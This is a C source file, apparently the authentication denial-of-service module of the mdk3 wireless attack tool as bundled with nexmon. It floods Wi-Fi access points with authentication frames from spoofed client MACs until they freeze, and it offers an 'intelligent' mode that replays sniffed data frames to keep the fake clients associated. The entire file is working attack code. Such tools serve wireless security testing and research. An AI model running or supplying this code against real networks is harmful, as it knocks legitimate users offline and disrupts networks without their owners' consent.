nexmon – Rev 1
?pathlinks?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include "auth_dos.h"
#include "../osdep.h"
#include "../helpers.h"
#include "../linkedlist.h"
#include "osdep/byteorder.h"
#define AUTH_DOS_MODE 'a'
#define AUTH_DOS_NAME "Authentication Denial-Of-Service"
#define AUTH_DOS_STATUS_NEW 0
#define AUTH_DOS_STATUS_UP 1
#define AUTH_DOS_STATUS_FROZEN 2
#define AUTH_DOS_STATUS_AUTHED 1
#define AUTH_DOS_STATUS_READY 2
static char *status_codes[3] = {"No Response", "Working", "Frozen"};
const unsigned long max_data_size = 33554432L; // mdk will store up to 32 MB of captured traffic
struct auth_dos_options {
struct ether_addr *target;
unsigned char valid_mac;
unsigned char intelligent;
unsigned int speed;
};
struct ia_stats
{
unsigned int c_authed;
unsigned int c_assoced;
unsigned int c_kicked;
unsigned int c_created;
unsigned int c_denied;
unsigned int d_captured;
unsigned int d_sent;
unsigned int d_responses;
unsigned int d_relays;
} ia_stats;
//Global things, shared by packet creation and stats printing
pthread_t *sniffer = NULL;
struct clistauthdos *aps = NULL, *increment_here = NULL, *cl = NULL;
unsigned int apcount = 0;
struct ether_addr client, bssid;
struct clist *dataclist = NULL;
void auth_dos_shorthelp()
{
printf(" Sends authentication frames to all APs found in range.\n");
printf(" Too many clients can freeze or reset several APs.\n");
}
void auth_dos_longhelp()
{
printf( " Sends authentication frames to all APs found in range.\n"
" Too many clients can freeze or reset several APs.\n"
" -a <ap_mac>\n"
" Only test the specified AP\n"
" -m\n"
" Use valid client MAC from built-in OUI database\n"
" -i <ap_mac>\n"
" Perform intelligent test on AP\n"
" This test connects clients to the AP and reinjects sniffed data to keep them alive.\n"
" -s <pps>\n"
" Set speed in packets per second (Default: unlimited)\n");
}
void *auth_dos_parse(int argc, char *argv[]) {
int opt;
struct auth_dos_options *aopt = malloc(sizeof(struct auth_dos_options));
aopt->target = NULL;
aopt->valid_mac = 0;
aopt->intelligent = 0;
aopt->speed = 0;
while ((opt = getopt(argc, argv, "a:mi:s:")) != -1) {
switch (opt) {
case 'a':
if (aopt->intelligent) { printf("Select normal OR intelligent attack (either -a or -i), not both!\n"); return NULL; }
aopt->target = malloc(sizeof(struct ether_addr));
*(aopt->target) = parse_mac(optarg);
break;
case 'm':
aopt->valid_mac = 1;
break;
case 'i':
if (aopt->target) { printf("Select normal OR intelligent attack (either -a or -i), not both!\n"); return NULL; }
aopt->intelligent = 1;
aopt->target = malloc(sizeof(struct ether_addr));
*(aopt->target) = parse_mac(optarg);
break;
case 's':
aopt->speed = (unsigned int) atoi(optarg);
break;
default:
auth_dos_longhelp();
printf("\n\nUnknown option %c\n", opt);
return NULL;
}
}
return (void *) aopt;
}
void auth_dos_sniffer(void *target) {
struct packet sniffed;
struct ieee_hdr *hdr;
struct ether_addr *bssid, *dup;
struct clistauthdos *curap;
static struct ether_addr dupdetect;
if (target) aps = add_to_clistauthdos(aps, *((struct ether_addr *) target), AUTH_DOS_STATUS_NEW, 0, 0);
while(1) {
sniffed = osdep_read_packet();
if (sniffed.len == 0) exit(-1);
dup = get_destination(&sniffed);
if (MAC_MATCHES(dupdetect, *dup)) continue; //Duplicate ignored
MAC_COPY(dupdetect, *dup);
//Check for APs in status UP and missing over 500!
if (aps) {
curap = aps;
do {
if ((curap->status == AUTH_DOS_STATUS_UP) && (curap->missing > 500)) {
printf("\rAP "); print_mac(curap->ap); printf(" has stopped responding and seems to be frozen after %d clients.\n", curap->responses);
curap->status = AUTH_DOS_STATUS_FROZEN;
}
curap = curap->next;
} while (curap != aps);
}
hdr = (struct ieee_hdr *) sniffed.data;
bssid = get_bssid(&sniffed);
curap = search_ap(aps, *bssid);
if (! target) { //We don't care about other APs when there is a fixed target
if (hdr->type == IEEE80211_TYPE_BEACON) {
if (! curap) { //New AP!
aps = add_to_clistauthdos(aps, *bssid, AUTH_DOS_STATUS_NEW, 0, 0);
apcount++;
printf("\rFound new target AP "); print_mac(*bssid); printf(" \n");
}
}
}
if ((hdr->type == IEEE80211_TYPE_AUTH) && curap) {
struct auth_fixed *authpack = (struct auth_fixed *) (sniffed.data + sizeof(struct ieee_hdr));
if (authpack->seq == htole16((uint16_t) 2)) {
if (authpack->status == 0) {
curap->responses++;
if (curap->status == AUTH_DOS_STATUS_NEW) {
printf("\rAP "); print_mac(*bssid); printf(" is responding. \n");
curap->status = AUTH_DOS_STATUS_UP;
curap->missing = 0;
} else if ((curap->status == AUTH_DOS_STATUS_UP) && (! (curap->responses % 500))) {
printf("\rAP "); print_mac(*bssid); printf(" is currently handling %d clients.\n", curap->responses);
}
if (curap->status == AUTH_DOS_STATUS_FROZEN) {
printf("\rAP "); print_mac(*bssid); printf(" is accepting connections again!\n");
curap->status = AUTH_DOS_STATUS_UP;
curap->missing = 0;
curap->responses = 1;
}
} else {
if (curap->status != AUTH_DOS_STATUS_FROZEN) {
printf("\rAP "); print_mac(*bssid); printf(" is reporting ERRORs and denies connections after %d clients!\n", curap->responses);
curap->status = AUTH_DOS_STATUS_FROZEN;
}
}
}
}
}
}
void auth_dos_intelligent_sniffer(void *target) {
struct clistauthdos *search;
unsigned long data_size = 0;
char size_warning = 0;
struct packet pkt;
struct ether_addr *src, *dest, *bssid, *target_ap = (struct ether_addr *) target;
struct ieee_hdr *hdr;
struct auth_fixed *af;
while (1) {
pkt = osdep_read_packet();
if (pkt.len == 0) exit(-1);
bssid = get_bssid(&pkt);
dest = get_destination(&pkt);
if (! MAC_MATCHES(*bssid, *target_ap)) continue; // skip packets from other sources
hdr = (struct ieee_hdr *) pkt.data;
switch (hdr->type) {
case IEEE80211_TYPE_AUTH:
// Authentication Response
af = (struct auth_fixed *) (pkt.data + sizeof(struct ieee_hdr));
if (af->status != AUTH_STATUS_SUCCESS) {
ia_stats.c_denied++;
break;
}
search = search_ap(cl, *dest);
if (search == NULL) break;
if (search->status < AUTH_DOS_STATUS_AUTHED) { //prevent problems since many APs send multiple responses
search->status = AUTH_DOS_STATUS_AUTHED;
ia_stats.c_authed++;
}
break;
case IEEE80211_TYPE_ASSOCRES:
// Association Response
// We don't care if its successful, we just send data to let the AP do some work when deauthing the fake client again
search = search_ap(cl, *dest);
if (search == NULL) break;
if (search->status < AUTH_DOS_STATUS_READY) { //prevent problems since many APs send multiple responses
search->status = AUTH_DOS_STATUS_READY;
ia_stats.c_assoced++;
}
break;
case IEEE80211_TYPE_DEAUTH:
case IEEE80211_TYPE_DISASSOC:
// Deauth and Disassociation (fake client gets kicked)
search = search_ap(cl, *dest);
if (search == NULL) break;
if (search->status != AUTH_DOS_STATUS_NEW) { //Count only one deauth if the AP does flooding
search->status = AUTH_DOS_STATUS_NEW;
ia_stats.c_kicked++;
}
break;
case IEEE80211_TYPE_DATA:
case IEEE80211_TYPE_QOSDATA:
src = get_source(&pkt);
// Check if packet got relayed (source adress == fake mac)
search = search_ap(cl, *src);
if (search != NULL) {
ia_stats.d_relays++;
break;
}
// Check if packet is an answer to an injected packet (destination adress == fake mac)
search = search_ap(cl, *dest);
if (search != NULL) {
ia_stats.d_responses++;
break;
}
// If it's none of these, check if the maximum lenght is exceeded
if (data_size < max_data_size) {
if ((pkt.data[1] & 3) != 3) { // Ignore WDS packets, too lazy to move data around in there
dataclist = add_to_clist(dataclist, pkt.data, pkt.len, pkt.len);
// increase ia_stats captured counter & data_size
ia_stats.d_captured++;
data_size += pkt.len;
}
} else {
if (!size_warning) {
printf("--------------------------------------------------------------\n");
printf("WARNING: mdk3 has now captured more than %ld MB of data packets\n", max_data_size / 1024 / 1024);
printf(" New data frames will be ignored to save memory!\n");
printf("--------------------------------------------------------------\n");
size_warning = 1;
}
}
default:
// Not interesting, count something???
break;
}
}
}
struct ether_addr auth_dos_get_target() {
struct clistauthdos *start;
char frozen_only = 1;
unsigned int apnr, i;
static unsigned int select_any = 0;
while (aps == NULL) {
printf("\rWaiting for targets... \n");
sleep(1);
}
start = aps;
do {
if (start->status != AUTH_DOS_STATUS_FROZEN) {
frozen_only = 0;
break;
}
start = start->next;
} while (start != aps);
if (frozen_only) {
//printf("\rAll APs in range seem to be frozen, selecting one of them nonetheless.\n"); //Too much blah blah
apnr = random() % apcount;
start = aps;
for(i=0; i<apnr; i++) start = start->next;
increment_here = start;
return start->ap;
}
select_any++;
apnr = random() % apcount;
start = aps;
for(i=0; i<apnr; i++) start = start->next;
if (select_any % 3) while (start->status == AUTH_DOS_STATUS_FROZEN) start = start->next; //every third round, frozen APs will also be targeted
increment_here = start;
return start->ap;
}
struct packet auth_dos_get_data(struct ether_addr client, struct ether_addr bssid) {
struct packet retn;
struct ether_addr *dst, *src, *bss;
struct ieee_hdr *hdr;
//NOTE: ToDS frames are being reinjected with the source address of one of the fake nodes
// FromDS frames are being rebroadcastet by setting ToDS flag + Broadcast destination
//Skip some packets for variety
dataclist = dataclist->next;
dataclist = dataclist->next;
//Copy packet out of the list
memcpy(retn.data, dataclist->data, dataclist->data_len);
retn.len = dataclist->data_len;
hdr = (struct ieee_hdr *) retn.data;
if (hdr->flags | 0x01) { //ToDS set -> reinject with fake source
src = get_source(&retn);
*src = client;
} else { //FromDS -> set ToDS, and rebuild all MAC addresses
hdr->flags &= 0xFC; // Clear DS field
hdr->flags |= 0x01; // Set ToDS bit
src = get_source(&retn);
dst = get_destination(&retn);
bss = get_bssid(&retn);
*src = client;
*bss = bssid;
MAC_SET_BCAST(*dst);
}
return retn;
}
struct packet auth_dos_intelligent_getpacket(struct auth_dos_options *aopt) {
struct clistauthdos *search;
static int oldclient_count = 0;
static char *ssid;
struct ether_addr fmac, *ap;
struct packet beacon, pkt;
struct ieee_hdr *hdr;
static uint16_t capabilities;
if (! cl) {
// Building first fake client to initialize list
if (aopt->valid_mac) fmac = generate_mac(MAC_KIND_CLIENT);
else fmac = generate_mac(MAC_KIND_RANDOM);
cl = add_to_clistauthdos(cl, fmac, AUTH_DOS_STATUS_NEW, 0, 0);
// Setting up statistics counters
ia_stats.c_authed = 0;
ia_stats.c_assoced = 0;
ia_stats.c_kicked = 0;
ia_stats.c_created = 1; //Has been created while initialization
ia_stats.d_captured = 0;
ia_stats.d_sent = 0;
ia_stats.d_responses = 0;
ia_stats.d_relays = 0;
// Starting the response sniffer
if (! sniffer) {
sniffer = malloc(sizeof(pthread_t));
pthread_create(sniffer, NULL, (void *) auth_dos_intelligent_sniffer, (void *) aopt->target);
}
// Sniff one beacon frame to read the capabilities of the AP
printf("Sniffing one beacon frame to read capabilities and SSID...\n");
while (1) {
beacon = osdep_read_packet();
if (beacon.len == 0) exit(-1);
hdr = (struct ieee_hdr *) beacon.data;
if (hdr->type == IEEE80211_TYPE_BEACON) {
ap = get_bssid(&beacon);
if (MAC_MATCHES(*ap, *(aopt->target))) {
ssid = get_ssid(&beacon, NULL);
capabilities = get_capabilities(&beacon);
printf("Capabilities are: 0x%04X\n", capabilities);
printf("SSID is: %s\n", ssid);
break;
}
}
}
}
// Skip some clients for more variety
cl = cl->next;
cl = cl->next;
if (oldclient_count < 30) {
// Make sure that mdk3 doesn't waste time reauthing kicked clients or keeping things alive
// Every 30 injected packets, it should fake another client
oldclient_count++;
search = search_authdos_status(cl->next, AUTH_DOS_STATUS_AUTHED);
if (search != NULL) {
//there is an authed client that needs to be associated
//printf("\rAssociating authenticated client "); print_mac(search->ap); printf("\n");
pkt = create_assoc_req(search->ap, *(aopt->target), capabilities, ssid, 54);
if (aopt->speed) sleep_till_next_packet(aopt->speed);
return pkt;
}
search = search_authdos_status(cl->next, AUTH_DOS_STATUS_READY);
if (search != NULL) {
//there is a fully authed client that should send some data to keep it alive
if (dataclist) {
//printf("\rSending fake data via client "); print_mac(search->ap); printf("\n");
ia_stats.d_sent++;
pkt = auth_dos_get_data(search->ap, *(aopt->target));
if (aopt->speed) sleep_till_next_packet(aopt->speed);
return pkt;
}
}
}
// We reach here if there either were too many or no old clients
search = NULL;
// Search for a kicked client if we didn't reach our limit yet
if (oldclient_count < 30) {
oldclient_count++;
search = search_authdos_status(cl, AUTH_DOS_STATUS_NEW);
//if (search) { printf("\rAuthenticating disconnected client "); print_mac(search->ap); printf("\n"); }
}
// And make a new one if none is found
if (search == NULL) {
if (aopt->valid_mac) fmac = generate_mac(MAC_KIND_CLIENT);
else fmac = generate_mac(MAC_KIND_RANDOM);
search = add_to_clistauthdos(cl, fmac, AUTH_DOS_STATUS_NEW, 0, 0);
//printf("\rCreating new client "); print_mac(search->ap); printf("\n");
ia_stats.c_created++;
oldclient_count = 0;
}
// Authenticate the new/kicked clients
pkt = create_auth(*(aopt->target), search->ap, 0x0001);
if (aopt->speed) sleep_till_next_packet(aopt->speed);
return pkt;
}
struct packet auth_dos_getpacket(void *options) {
struct auth_dos_options *aopt = (struct auth_dos_options *) options;
struct packet pkt;
static unsigned int nb_sent = 0;
static time_t t_prev = 0;
if (aopt->intelligent) return auth_dos_intelligent_getpacket(aopt);
if (! sniffer) {
sniffer = malloc(sizeof(pthread_t));
pthread_create(sniffer, NULL, (void *) auth_dos_sniffer, (void *) aopt->target);
}
if (! aopt->target) {
if ((nb_sent % 1024 == 0) || ((time(NULL) - t_prev) >= 5)) {
t_prev = time(NULL);
bssid = auth_dos_get_target();
//printf("\rSelected new target "); print_mac(bssid); printf(" \n"); // ToO much blah blah
}
} else {
bssid = *(aopt->target);
increment_here = search_ap(aps, bssid);
}
if (aopt->valid_mac) client = generate_mac(MAC_KIND_CLIENT);
else client = generate_mac(MAC_KIND_RANDOM);
pkt = create_auth(bssid, client, 1);
if (aopt->speed) sleep_till_next_packet(aopt->speed);
nb_sent++;
if (increment_here) increment_here->missing++; //This gets reset once a response comes in
return pkt;
}
void auth_dos_print_stats(void *options) {
struct auth_dos_options *aopt = (struct auth_dos_options *) options;
if(aopt->intelligent) {
printf("\rClients: Created: %4d Authenticated: %4d Associated: %4d Denied: %4d Got Kicked: %4d\n",
ia_stats.c_created, ia_stats.c_authed, ia_stats.c_assoced, ia_stats.c_denied, ia_stats.c_kicked);
printf("Data : Captured: %4d Sent: %4d Responses: %4d Relayed: %4d\n",
ia_stats.d_captured, ia_stats.d_sent, ia_stats.d_responses, ia_stats.d_relays);
} else {
printf("\rConnecting Client "); print_mac(client);
printf(" to target AP "); print_mac(bssid);
struct clistauthdos *search = search_ap(aps, bssid);
if (search) {
printf(" Status: %s.\n", status_codes[search->status]);
} else {
printf(".\n");
}
}
}
void auth_dos_perform_check(void *options) {
//unused
options = options; //prevent warning
}
struct attacks load_auth_dos() {
struct attacks this_attack;
char *auth_dos_name = malloc(strlen(AUTH_DOS_NAME) + 1);
strcpy(auth_dos_name, AUTH_DOS_NAME);
this_attack.print_shorthelp = (fp) auth_dos_shorthelp;
this_attack.print_longhelp = (fp) auth_dos_longhelp;
this_attack.parse_options = (fpo) auth_dos_parse;
this_attack.get_packet = (fpp) auth_dos_getpacket;
this_attack.print_stats = (fps) auth_dos_print_stats;
this_attack.perform_check = (fps) auth_dos_perform_check;
this_attack.mode_identifier = AUTH_DOS_MODE;
this_attack.attack_name = auth_dos_name;
return this_attack;
}